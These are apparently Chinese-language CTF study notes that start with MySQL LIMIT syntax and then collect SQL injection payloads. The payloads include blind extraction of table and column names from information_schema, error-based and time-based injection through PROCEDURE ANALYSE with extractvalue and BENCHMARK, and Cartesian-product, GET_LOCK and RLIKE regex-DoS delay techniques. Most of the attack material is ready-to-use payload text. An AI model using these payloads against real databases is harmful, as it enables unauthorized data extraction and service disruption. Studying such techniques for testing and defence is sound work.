limit 基础

limit 查询 几条或者中间几行数据

  1. select* from table_name limit [offset,] rows | rows offset offset;

limit 子句可以被用于强制select 语句返回指定的记录数。
limit接受一个或两个数字参数。参数必须是一个整数常量。
例如

SELECT * FROM table LIMIT 5,10;  // 检索记录行 6-15,从5+1开始算
SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.从95+1开始算
SELECT * FROM table LIMIT 5;     //检索前 5 个记录行

爆表

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+

爆字段长

" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常

爆字段

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+

limit注入

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
  //上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了

在 limit后面可以更两个函数,PROCEDURE 和 INTO ,后一个除非有写入shell的权限,否则是无法利用的。
Ex:

select*from limittest limit 1,[可控点] or select ... limit [可控点]

在Limit后面 可以用 procedure analyse()这个子查询
而且只能用extractvalue benchmark 函数进行延时

报错注入

select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

updatexml+benchmark也是可以的,这两个函数虽然返回结果相同,但是还是有区别的。

时间注入

select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)
EFF%G{(1EVAA0$OT1X39JK5.png

五种盲注姿势

sleep() 函数
benchmark()函数

笛卡儿积盲注

select count(*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;

select * from ctf_test where user='1' and 1=1 (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C)

select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

利用and短路运算进行时间盲注

GET_LOCK盲注

如果我们已经开了一个session,对关键字进行了get_lock,那么再另外开一个session再次对关键进行get_lock,就会延时我们指定的时间
条件:同时开两个session进行注入

select get_lock('lihuaiqiu',1);

select get_lock('lihuaiqiu',5);

select * from ctf_test where user='0' and 1=1 and  get_lock('lihuaiqiu',2);

select * from ctf_test where user='0' and 1=0 and  get_lock('lihuaiqiu',2);

正则DOS RLIKE注入

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和benchmark注入类似

 select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);

 select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);

参考

sql注入之limit注入和五种时间盲注姿势
[转载]Mysql下Limit注入方法